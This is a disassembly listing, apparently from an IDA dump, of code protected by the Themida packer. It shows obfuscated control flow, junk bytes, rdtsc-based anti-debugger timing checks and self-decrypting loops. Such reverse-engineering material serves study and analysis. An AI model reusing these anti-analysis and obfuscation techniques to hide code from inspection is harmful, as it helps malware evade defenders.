[esp-4+arg_4], 1Ah inc eax push eax retn sub_5B328A endp ; --------------------------------------------------------------------------- sbb esi, [edx-11h] cwde mov ah, 99h or esp, edi lea edi, [ebp+615766Eh] push 0 push ebx call sub_5B32B3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B32B3 proc near ; CODE XREF: Themida_:005B32ABp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5B32B3 endp ; --------------------------------------------------------------------------- db 0D4h dd 73E53BD8h, 1B3E9h, 0CE900h, 0EDF50000h, 7FACE900h, 57B6CD4Fh db 69h, 0CFh ; --------------------------------------------------------------------------- loc_5B32DE: ; CODE XREF: Themida_:005B3279j cmp ebx, 0Dh jnz loc_5B3380 push 0 push ebx call sub_5B32F2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B32F2 proc near ; CODE XREF: Themida_:005B32EAp ; Themida_:005B3302j arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B32F2 endp ; --------------------------------------------------------------------------- ja short sub_5B32F2 retn ; --------------------------------------------------------------------------- pusha mov bx, 252Dh push esi movzx eax, bx pop edi popa lea edi, [ebp+6157676h] push 0 push eax call sub_5B3321 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3321 proc near ; CODE XREF: Themida_:005B3319p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5B3321 endp ; --------------------------------------------------------------------------- inc edi sub edi, esp pusha movsx edi, bx mov di, 0CCA0h popa jmp loc_5B3480 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5B334D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B334D proc near ; CODE XREF: Themida_:005B3345p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5B334D endp ; --------------------------------------------------------------------------- db 6Ah, 16h, 14h dd 0F632D109h, 0E9769015h, 14h, 7265EB54h, 0BFC079C9h dd 0F82FD828h, 0D7B3481Bh, 0F704FA8Ah ; --------------------------------------------------------------------------- loc_5B3380: ; CODE XREF: Themida_:005B32E1j cmp ebx, 1 jnz loc_5B33E5 js loc_5B3397 loc_5B338F: ; CODE XREF: Themida_:005B33A8j pusha movzx ecx, bx mov di, dx popa loc_5B3397: ; CODE XREF: Themida_:005B3389j lea edi, [ebp+615767Eh] jo loc_5B33B1 jmp loc_5B33B1 ; --------------------------------------------------------------------------- jmp short loc_5B338F ; --------------------------------------------------------------------------- dw 0A23h dd 0EF3E478Fh db 0D4h ; --------------------------------------------------------------------------- loc_5B33B1: ; CODE XREF: Themida_:005B339Dj ; Themida_:005B33A3j jmp loc_5B3480 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5B33C1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B33C1 proc near ; CODE XREF: Themida_:005B33B9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5B33C1 endp ; --------------------------------------------------------------------------- db 0E6h, 3Ch, 19h dd 0B64ED257h, 0E8B660D2h, 0E0816652h, 615FB581h ; --------------------------------------------------------------------------- stc loc_5B33E5: ; CODE XREF: Themida_:005B3383j cmp ebx, 2Ah jnz loc_5B344F push 0 push edx call sub_5B33F9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B33F9 proc near ; CODE XREF: Themida_:005B33F1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B33F9 endp ; --------------------------------------------------------------------------- and [edx+46023C01h], ch popa lea edi, [ebp+6157686h] jmp loc_5B3427 ; --------------------------------------------------------------------------- db 0F0h dd 0DE27C38Eh, 0A433FDC9h ; --------------------------------------------------------------------------- or al, 0EAh lodsb loc_5B3427: ; CODE XREF: Themida_:005B3416j jmp loc_5B3480 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5B3437 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3437 proc near ; CODE XREF: Themida_:005B342Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5B3437 endp ; --------------------------------------------------------------------------- db 1Ch dd 43140062h db 34h, 0CBh, 0C8h ; --------------------------------------------------------------------------- loc_5B344F: ; CODE XREF: Themida_:005B33E8j cmp ebx, 27h jnz loc_5B3709 clc lea edi, [ebp+615768Eh] push 0 push ebp call sub_5B346A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B346A proc near ; CODE XREF: Themida_:005B3462p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5B346A endp ; --------------------------------------------------------------------------- dw 0C7FBh ; --------------------------------------------------------------------------- mov bh, dl or ebp, esi loc_5B3480: ; CODE XREF: Themida_:005B333Dj ; Themida_:loc_5B33B1j ... mov [ebp+615769Eh], edi pusha or di, 2629h mov edx, esi popa mov ax, cs push 0 push esi call sub_5B349D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B349D proc near ; CODE XREF: Themida_:005B3495p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5B349D endp ; --------------------------------------------------------------------------- cmp ah, bh and eax, 324F82Dh jmp loc_5B34C2 ; --------------------------------------------------------------------------- db 0F4h, 0CCh, 0Fh dd 18A160B8h ; --------------------------------------------------------------------------- mov ah, 19h loc_5B34C2: ; CODE XREF: Themida_:005B34B4j or al, al jnz loc_5B363E pusha sub ch, 66h mov al, 0A5h popa js loc_5B34EB pusha ja $+6 call near ptr loc_5B34E5+4 pop edx push esi loc_5B34E5: ; CODE XREF: Themida_:005B34DEp mov ds:592EF7E3h, eax popa loc_5B34EB: ; CODE XREF: Themida_:005B34D1j lea esi, [ebp+6157C7Ah] pusha js loc_5B3504 call sub_5B3503 mov ebx, ss db 67h mov bh, 3Dh xchg eax, esi ; =============== S U B R O U T I N E ======================================= sub_5B3503 proc near ; CODE XREF: Themida_:005B34F8p arg_1C = dword ptr 20h pop esi loc_5B3504: ; CODE XREF: Themida_:005B34F2j movzx eax, cx popa mov eax, [ebp+6157CFCh] jmp loc_5B351B ; --------------------------------------------------------------------------- db 0E8h dd 0C0451C26h db 0Bh, 0DEh, 85h ; --------------------------------------------------------------------------- loc_5B351B: ; CODE XREF: sub_5B3503+Bj push eax push eax push edx push eax push edx jmp loc_5B3531 ; --------------------------------------------------------------------------- db 6Dh, 39h, 4Bh dd 72887CCEh, 0D36A626Eh db 25h ; --------------------------------------------------------------------------- loc_5B3531: ; CODE XREF: sub_5B3503+1Dj rdtsc push eax push edx rdtsc pop edx pop eax pop edx pop eax rdtsc ja loc_5B3549 push eax push edx rdtsc pop edx pop eax loc_5B3549: ; CODE XREF: sub_5B3503+3Aj pop edx pop eax mov [esp-20h+arg_1C], edx push 0 push edx call sub_5B3559 and [edx-3Dh], bl sub_5B3503 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B3559 proc near ; CODE XREF: sub_5B3503+4Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5B3559 endp ; --------------------------------------------------------------------------- db 51h, 0E5h, 21h ; --------------------------------------------------------------------------- cdq jl short loc_5B357E add [esp-2], ecx jo loc_5B357A clc loc_5B357A: ; CODE XREF: Themida_:005B3573j pop edx push 0 push ecx loc_5B357E: ; CODE XREF: Themida_:005B356Dj call sub_5B3586 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3586 proc near ; CODE XREF: Themida_:loc_5B357Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5B3586 endp ; --------------------------------------------------------------------------- dw 9AD7h dd 1913ECE4h, 0FCFCDD7Ch, 6024C283h, 1058BA66h, 74D38166h dd 89666143h, 6AFC72h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0FFE3EBC3h, 2624E6CDh, 81666060h dd 0F8AEBFDFh, 0CEC16161h, 0F8606010h, 0D08B6661h, 72896661h dd 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0B7515698h, 662F2F7h, 830FC23Ah, 7, 1830Fh dd 0CDF50000h, 8E904h, 48370000h, 1551640Fh, 8B601D91h dd 6CD081F8h, 6155FA8Ah, 84E9h db 0, 0F5h ; --------------------------------------------------------------------------- loc_5B363E: ; CODE XREF: Themida_:005B34C4j mov eax, [ebp+6157CFCh] jmp loc_5B365B ; --------------------------------------------------------------------------- db 0BBh, 0E9h, 85h dd 0EBF7F614h, 0B9D7381Eh, 25150DEEh db 53h, 19h, 3Ch ; --------------------------------------------------------------------------- loc_5B365B: ; CODE XREF: Themida_:005B3644j lea esi, [ebp+6157C7Ah] push 0 push edx call sub_5B366C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B366C proc near ; CODE XREF: Themida_:005B3664p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5B366C endp ; --------------------------------------------------------------------------- sub eax, 0A5FB6A5Ah sub esp, [eax-4Eh] push ebp popa lea eax, [ebp+6154CD8h] jle loc_5B369E jmp loc_5B369E ; --------------------------------------------------------------------------- db 24h dd 0D4B3D712h db 79h, 0A5h ; --------------------------------------------------------------------------- loc_5B369E: ; CODE XREF: Themida_:005B368Cj ; Themida_:005B3692j jl loc_5B36AB pusha sbb bh, 45h push esi pop eax popa loc_5B36AB: ; CODE XREF: Themida_:loc_5B369Ej call eax jle loc_5B36C1 jmp loc_5B36C1 ; --------------------------------------------------------------------------- dd 0EF539370h, 0A9F0D8D3h ; --------------------------------------------------------------------------- pop ebx loc_5B36C1: ; CODE XREF: Themida_:005B36ADj ; Themida_:005B36B3j mov [ebp+6157696h], eax push 0 push eax call sub_5B36D2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B36D2 proc near ; CODE XREF: Themida_:005B36CAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5B36D2 endp ; --------------------------------------------------------------------------- dw 4943h dd 3C4A769Fh, 752B111Dh, 0A810Fh, 0F600000h, 86h, 61C78A00h dd 78A0Fh, 800F0000h, 1 ; --------------------------------------------------------------------------- stc loc_5B3709: ; CODE XREF: Themida_:005B3452j popa push 0 push ecx call sub_5B3715 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B3715 proc near ; CODE XREF: Themida_:005B370Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5B3715 endp ; --------------------------------------------------------------------------- db 0FDh, 1Eh, 1Ah dd 880F6CA6h, 7, 1820Fh, 8BF50000h, 15769685h, 10E906h dd 4F5D0000h, 0B14D43BBh, 0E50E9879h, 0C459F0A8h, 0F9C3F551h dd 0BD83F960h, 6157CFCh, 48850F00h, 0F000000h, 581h, 0C1806000h dd 85C76115h, 6157CFCh, 1013Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 5BC35141h, 0B138289Fh, 0EE9h dd 68286F00h, 0EE888882h, 74C66E2Eh, 0E9F79287h, 24h, 1E870Fh dd 0E8600000h, 13h, 25F2E02Ah, 296AA08Ah, 6EC4E04Ch, 0C77C1BFCh dd 5A93C4B3h, 61D8BF0Fh, 20CDh, 0C00B0000h, 708D3774h dd 9EBD8B0Ch, 0B9061576h, 8, 492275A6h, 488BFA75h, 9A9D8B30h dd 3B061576h, 157F3458h, 0D26BD38Bh, 8BCA0304h, 96858901h dd 0EB061576h, 0EB008B04h, 858B61C5h, 6157696h, 50006ACFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 74D38B44h, 0E9F551F2h, 0Fh, 0F7279297h, 4DFC68E2h, 0F3BB9F64h dd 604BCA51h, 8B0F53h, 5E000000h, 1810F61h, 0F9000000h dd 6E9h, 0E6C3BF00h ; --------------------------------------------------------------------------- retn 0F28Dh ; --------------------------------------------------------------------------- loc_5B386F: ; CODE XREF: Themida_:005B317Cj mov eax, eax call near ptr loc_5B3880+2 mov esp, 0A1ADE4A1h and esp, [esi+7Ch] pusha loc_5B3880: ; CODE XREF: Themida_:005B3871p add eax, 0F9BF0F64h pop eax xor ebx, 77C1E6D2h add eax, 606Fh sub edx, edx clc ; START OF FUNCTION CHUNK FOR sub_5B38C3 loc_5B3895: ; CODE XREF: sub_5B38C3:loc_5B393Aj mov ecx, [eax+edx] mov si, 1FEh xor ecx, 0D7C1FDh jmp loc_5B38B1 ; END OF FUNCTION CHUNK FOR sub_5B38C3 ; --------------------------------------------------------------------------- db 8Ch dd 0DB027B37h, 8DE341C0h db 69h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B38C3 loc_5B38B1: ; CODE XREF: sub_5B38C3-21j add ecx, 57394B5Bh pusha call near ptr sub_5B38C3 xor al, [esi-283F5E48h] ; END OF FUNCTION CHUNK FOR sub_5B38C3 ; =============== S U B R O U T I N E ======================================= sub_5B38C3 proc far ; CODE XREF: sub_5B38C3-Bp var_80 = dword ptr -80h var_78 = dword ptr -78h var_70 = dword ptr -70h var_68 = dword ptr -68h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_30 = dword ptr -30h var_28 = dword ptr -28h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 005B3895 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005B38B1 SIZE 00000012 BYTES pop ecx jmp loc_5B38CF ; --------------------------------------------------------------------------- das retf ; --------------------------------------------------------------------------- db 85h db 0EEh, 61h, 0B5h ; --------------------------------------------------------------------------- loc_5B38CF: ; CODE XREF: sub_5B38C3+1j popa add ecx, 13800E64h jnz loc_5B38E5 ja loc_5B38E5 movzx edi, ax loc_5B38E5: ; CODE XREF: sub_5B38C3+13j ; sub_5B38C3+19j push ecx jo loc_5B38F7 pusha ja $+6 sub cl, 0C3h popa loc_5B38F7: ; CODE XREF: sub_5B38C3+23j pop dword ptr [eax+edx] mov di, ax jmp loc_5B390B ; --------------------------------------------------------------------------- sbb dword ptr [ebx-5DAD460Dh], 4Eh inc esi loc_5B390B: ; CODE XREF: sub_5B38C3+3Aj sub edx, 4 movsx ebx, ax cmp edx, 0FFFFA060h jnz loc_5B393A sbb edi, 30386DEh jmp loc_5B3949 ; --------------------------------------------------------------------------- dd 3330B548h, 5C448089h, 86F72B8Bh, 0C8D1DFEBh ; --------------------------------------------------------------------------- test al, 9Dh loc_5B393A: ; CODE XREF: sub_5B38C3+54j jmp loc_5B3895 ; --------------------------------------------------------------------------- db 0F8h dd 0D2BFEA91h, 0E38FE626h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_5B3949: ; CODE XREF: sub_5B38C3+60j jmp loc_5B3D4E ; --------------------------------------------------------------------------- align 10h dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset dword_55FB80+480h dd offset dword_44A8E0+5720h dd 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B3D4E: ; CODE XREF: sub_5B38C3:loc_5B3949j jmp loc_5B4DF1 ; --------------------------------------------------------------------------- cmc mov eax, [ebp+6122FD1h] sub [ebp+6121471h], ebx jmp loc_5B3D75 ; --------------------------------------------------------------------------- db 62h, 0B5h, 62h dd 9D04981Fh, 0FD9CE5BAh, 5E0AD0E8h db 0A0h ; --------------------------------------------------------------------------- loc_5B3D75: ; CODE XREF: sub_5B38C3+49Dj cmp [esp-4+arg_0], eax jnz loc_5B3E1D jmp loc_5B3D89 ; --------------------------------------------------------------------------- jmp dword ptr [eax] ; --------------------------------------------------------------------------- xchg ecx, [esi+11h] loc_5B3D89: ; CODE XREF: sub_5B38C3+4BCj cmp dword ptr [ebp+6121DC5h], 0 jz loc_5B3E1D push 0 push ebx call loc_5B3DA1 and [ebx-3Dh], bl loc_5B3DA1: ; CODE XREF: sub_5B38C3+4D6p pop ebx mov [esp+4], ebx add dword ptr [esp+4], 1Dh inc ebx push ebx retn ; --------------------------------------------------------------------------- db 0F0h, 0BCh, 52h dd 17FEB9C7h, 60F847F9h, 0EA7987BFh, 4D85893Dh, 61061221h dd 3B48858Dh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 25694DC3h, 76D8A93Fh, 0E968F7CDh dd 0Fh, 129C4440h, 43CC081Fh, 0FC9C2E2Ch, 60765CA1h, 2545B58Bh dd 958B0612h, 612036Dh, 29E0FF61h, 1220C18Dh ; --------------------------------------------------------------------------- push es loc_5B3E1D: ; CODE XREF: sub_5B38C3+4B6j ; sub_5B38C3+4CDj mov eax, [ebp+612335Dh] pusha and di, 6491h mov esi, [ebp+6122AEDh] popa cmp [esp+4], eax jnz loc_5B3E61 cmc mov dword ptr [ebp+6158270h], 1 push 0 push eax call loc_5B3E50 and [eax-3Dh], bl loc_5B3E50: ; CODE XREF: sub_5B38C3+585p pop eax mov [esp+4], eax add dword ptr [esp+4], 14h inc eax push eax retn ; --------------------------------------------------------------------------- db 72h ; --------------------------------------------------------------------------- loc_5B3E61: ; CODE XREF: sub_5B38C3+571j pusha clc jmp loc_5B3EB0 ; --------------------------------------------------------------------------- push 0 push ebp call loc_5B3E73 and [ebp-3Dh], bl loc_5B3E73: ; CODE XREF: sub_5B38C3+5A8p pop ebp mov [esp+2Ch+var_28], ebp add [esp+2Ch+var_28], 18h inc ebp push ebp retn ; --------------------------------------------------------------------------- db 4Fh dd 713E9164h, 14E9h, 0DB1E4C00h, 9582EFBCh, 62774E95h dd 95B10D9h, 0E3A3A8Eh, 8C0F6077h, 3, 61FB8B66h, 0 ; --------------------------------------------------------------------------- loc_5B3EB0: ; CODE XREF: sub_5B38C3+5A0j mov eax, 1 loc_5B3EB5: ; CODE XREF: sub_5B38C3+5FAj xchg eax, [ebp+61583D2h] or eax, eax jnz short loc_5B3EB5 push dword ptr [ebp+61215C1h] pop dword ptr [ebp+6158268h] push 20h push 0FFFFFFFFh call dword ptr [ebp+61227F5h] cmp dword ptr [ebp+6122C85h], 0 jz short loc_5B3EE6 push 0 call dword ptr [ebp+61229D1h] loc_5B3EE6: ; CODE XREF: sub_5B38C3+619j cmp dword ptr [ebp+6122855h], 1 jz short loc_5B3EFC push 80h push 0FFFFFFFFh call dword ptr [ebp+61227F5h] loc_5B3EFC: ; CODE XREF: sub_5B38C3+62Aj push 0 push edi call loc_5B3F07 and [edi-3Dh], bl loc_5B3F07: ; CODE XREF: sub_5B38C3+63Cp pop edi mov [esp+4], edi add dword ptr [esp+4], 17h inc edi push edi retn ; --------------------------------------------------------------------------- inc ebx inc ecx cmp al, 0C2h jns loc_5B3F29 jnb loc_5B3F29 pusha popa loc_5B3F29: ; CODE XREF: sub_5B38C3+658j ; sub_5B38C3+65Ej stc mov eax, 0 push 0 push ecx call loc_5B3F3A and [ecx-3Dh], bl loc_5B3F3A: ; CODE XREF: sub_5B38C3+66Fp pop ecx mov [esp+48h+var_44], ecx add [esp+48h+var_44], 1Ch inc ecx push ecx retn ; --------------------------------------------------------------------------- mov al, [ebx+4BDE59EAh] adc eax, 8BF8A693h push esp and al, 28h push 0 push ecx call loc_5B3F63 and [ecx-3Dh], bl loc_5B3F63: ; CODE XREF: sub_5B38C3+698p pop ecx mov [esp+54h+var_50], ecx add [esp+54h+var_50], 14h inc ecx push ecx retn ; --------------------------------------------------------------------------- push esi mov [ebp+61219D1h], eax pusha or ecx, [ebp+6120819h] add [ebp+61227BDh], ebx popa jno loc_5B3F94 sub [ebp+61200E9h], esi loc_5B3F94: ; CODE XREF: sub_5B38C3+6C5j mov esi, 3Ch push 0 push edx call loc_5B3FA4 and [edx-3Dh], bl loc_5B3FA4: ; CODE XREF: sub_5B38C3+6D9p pop edx mov [esp+60h+var_5C], edx add [esp+60h+var_5C], 1Ah inc edx push edx retn ; --------------------------------------------------------------------------- dd 0F5E9CBA3h, 2989788Fh, 120EDDBDh, 24740306h, 11850124h dd 66061222h, 4403F5ADh, 81602424h, 71EB78E6h, 61F98B27h dd 0DF8B6050h, 2820Fh, 8FB10000h, 24048961h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 32C35040h, 0D58D013Ah dd 6006121Dh, 4D8D8BF9h, 6106122Ah, 6078408Bh, 0BD8361F5h dd 6158270h, 0D4850F00h, 0E9000000h, 0Fh, 31B470EFh, 0D42C71h dd 0A527F096h, 905AF29Fh, 0E860Fh, 52500000h, 310F6160h dd 850Fh, 585A0000h, 0E8F0F50h, 50000000h, 0F525052h, 0F585A31h dd 5A616031h, 85299058h, 61219CDh, 2C24448Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DAC35040h, 75AF147Ch dd 0C3A8DEA4h, 60525050h, 5E526160h, 0E9310F61h, 10h, 28F235F4h dd 0ABBBB775h, 69B57315h, 0F3B6417Dh, 489585Ah, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 3977ABCDh, 8D0D0C1Dh, 15418B85h, 0C58D8906h, 0FF061203h dd 0DE9D0h, 0E4E90000h, 17DA4B75h, 0E900EDF5h, 34F7FACh dd 0F282444h, 18Dh, 408BF900h, 51006A18h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 37E57777h dd 0A9858960h, 6606122Ah, 0E961F98Bh, 9, 50E10109h, 0A6B43F5Ah dd 6A4016h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 340042C3h, 0BA500176h, 294440DAh, 1208859Dh dd 6C858906h, 6A061582h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 844FC357h, 83DD7464h dd 6A58E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 692AF1C3h, 0A98D8924h, 8B06122Ah, 6A7870h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0E6C1BAC3h, 2D5BA420h, 0E96976CCh, 0Dh, 51DF6B3Ch, 7F7AD49Eh dd 635A1C0Dh, 1CC683AEh, 85BD0B60h, 61061202h, 0B18D8996h dd 8106121Ch, 24247Ch, 0F100000h, 0CE87h, 3D8D8900h, 50061203h dd 0CE9h, 0D8620400h, 9FE5CF89h, 3AEF0432h, 240489E1h dd 5DB529F8h, 8B061207h, 6A282444h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 2CD6C356h dd 0E68870F3h, 8B6660C9h, 0DFC5BBD1h, 506125D8h, 28F0F60h dd 60000000h, 4896161h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0F7460024h, 0F13BA3Bh dd 685h, 298D3100h, 8D061207h, 15418B85h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E9A502D5h, 9, 0DF4AAB5Ah, 3B9966E6h, 59D01F4h, 0FF06121Ah dd 699529D0h, 96061223h, 11E860h, 13F10000h, 2BD4F58Ch dd 8D5EA12Eh, 0F1D2C036h, 29F75879h, 12182995h, 0E3815A06h dd 94D90EFh, 24740361h, 68A0F24h, 1000000h, 120B2D9Dh dd 59BD8D06h, 0E9061225h, 0Ch, 0BB54DF48h, 8211E256h, 42089557h dd 799589ADh, 81061221h, 24247Ch, 0F100000h, 0C787h, 0EBBF6000h dd 8B18D9E1h, 121CDD9Dh, 50506106h, 12E952h, 5FCA0000h dd 7B4CCAA8h, 0A09F6301h, 0E70A6BA9h, 9E0E0335h, 840F310Fh dd 6, 840Fh, 585A0000h, 1240489h, 1226E995h, 0CE906h, 0B5B50000h dd 6674571Bh, 142B4A4Fh, 448BFA0Ch, 50FC2824h, 52505250h dd 9E9h, 4854FE00h, 85B8DA02h, 310F7EBDh, 800Fh, 585A0000h dd 5250310Fh, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah dd 489585Ah, 198D2924h, 8D061221h, 15418B85h, 0B5896006h dd 61228B5h, 2DB5BD8Bh, 0FF610612h, 1800FD0h, 0F8000000h dd 128B0Fh, 0DE90000h, 75000000h, 0A1C89027h, 0F4209670h dd 1F49C398h, 24244403h, 6AABFCh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 88E149C3h, 0FB1B0A1h dd 686h, 0D9D8900h, 81061215h, 10000FAh, 0A7820F00h, 60000007h dd 0DFD78166h, 5E9C1h, 0C7C20000h, 613D6729h, 2FF9BD8Dh dd 89600612h, 1210D585h, 3F5EB906h, 0AD6118F2h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 5C35545h, 7C81F5ADh dd 2424h, 870F1000h, 141h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 23C35545h, 6E9B543h, 2F000000h, 3ED8611Bh dd 18E0FFAh, 0F5000000h, 0E8526090h, 0Bh, 0DE1B36D6h, 8240A815h dd 5E74F3F0h, 61D48A5Fh, 8E950h, 14F60000h, 0C7CDC629h dd 609047BAh, 68B0Fh, 850F0000h, 0 ; --------------------------------------------------------------------------- xor [ebp+61223C5h], eax popa cmc mov eax, [esp+44h+var_1C] push 0 push eax call loc_5B451B and [eax-3Dh], bl loc_5B451B: ; CODE XREF: sub_5B38C3+C50p pop eax mov [esp+48h+var_44], eax add [esp+48h+var_44], 19h inc eax push eax retn ; --------------------------------------------------------------------------- pop ecx xor eax, 0E0E1B1C5h push eax push eax push edx push eax push edx jmp loc_5B454F ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 8DB49C66h, 0FDD8B6A4h, 383EA6CCh, 0D7179C77h db 9Eh, 82h, 0AEh ; --------------------------------------------------------------------------- loc_5B454F: ; CODE XREF: sub_5B38C3+C73j rdtsc pusha popa pop edx pop eax rdtsc push eax push edx push eax push edx rdtsc pop edx pop eax rdtsc jo $+6 pop edx pop eax pop edx pop eax mov [esp+4Ch+var_4C], eax push 0 push edx call loc_5B4579 and [edx-3Dh], bl loc_5B4579: ; CODE XREF: sub_5B38C3+CAEp pop edx mov [esp+50h+var_4C], edx add [esp+50h+var_4C], 1Bh inc edx push edx retn ; --------------------------------------------------------------------------- db 0E6h, 0C8h, 0A7h dd 32943FFAh, 0B18D897Bh, 8D06122Ch, 15418B85h, 0AE86006h dd 0F0000000h, 3502C52Ch, 5B5FB330h, 0F5BD319Eh, 5B061226h dd 21299501h, 0FF610612h, 52006AD0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 1551640Fh dd 0E141D91h, 24440329h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0EB57389Eh, 50F97ABEh dd 0FE9h, 846B3300h, 0ABA67370h, 472E3996h, 0DD9E997h dd 31240489h, 122AFD8Dh, 6AAB06h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0F9C52DC3h, 275DBD8Dh dd 850F0612h, 1, 0C860FF9h, 0F000000h, 684h, 3DB58900h dd 0AD06121Ah, 6880F60h, 81000000h, 0E3F032F7h, 0E1B58974h dd 61061215h, 7E9h, 34E09C00h, 0C918BC96h, 28247C81h, 10000000h dd 0F6870Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0C11651C3h, 14E9AAh, 0E9A20000h dd 76F1193Eh, 0D5691D84h, 8C8F4953h, 7B650AB1h, 0BD01D958h dd 612197Dh, 50606090h, 5A310F52h, 3375BF58h, 0B2613765h dd 6050613Bh, 5E616050h, 323887B8h, 6A906137h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 1056C353h, 151AB71Eh, 759850Ch, 1561BD01h, 448B0612h dd 8B602C24h, 1208299Dh, 0D3B96606h, 820F61E2h, 0Eh, 59850360h dd 0F06122Eh, 8Ah, 50506100h, 0E830F52h, 0E9000000h, 9 dd 0A9D228E9h, 97A1D915h, 50310FD3h, 8F0F52h, 0F000000h dd 880F31h, 5A000000h, 89585A58h, 95892404h, 6121A69h dd 418B858Dh, 9D890615h, 6121679h, 8589D0FFh, 6121E91h dd 28244403h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0ABC35343h, 0ABFCC700h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 66C35141h, 43054919h, 13955837h dd 1BBD9D09h, 0FF5E0612h, 15826C8Dh, 6CBD8306h, 61582h dd 0C0330A75h, 9051B58Dh, 0E6FF0615h, 7C81AD56h, 2824h dd 0E771000h, 24448B50h, 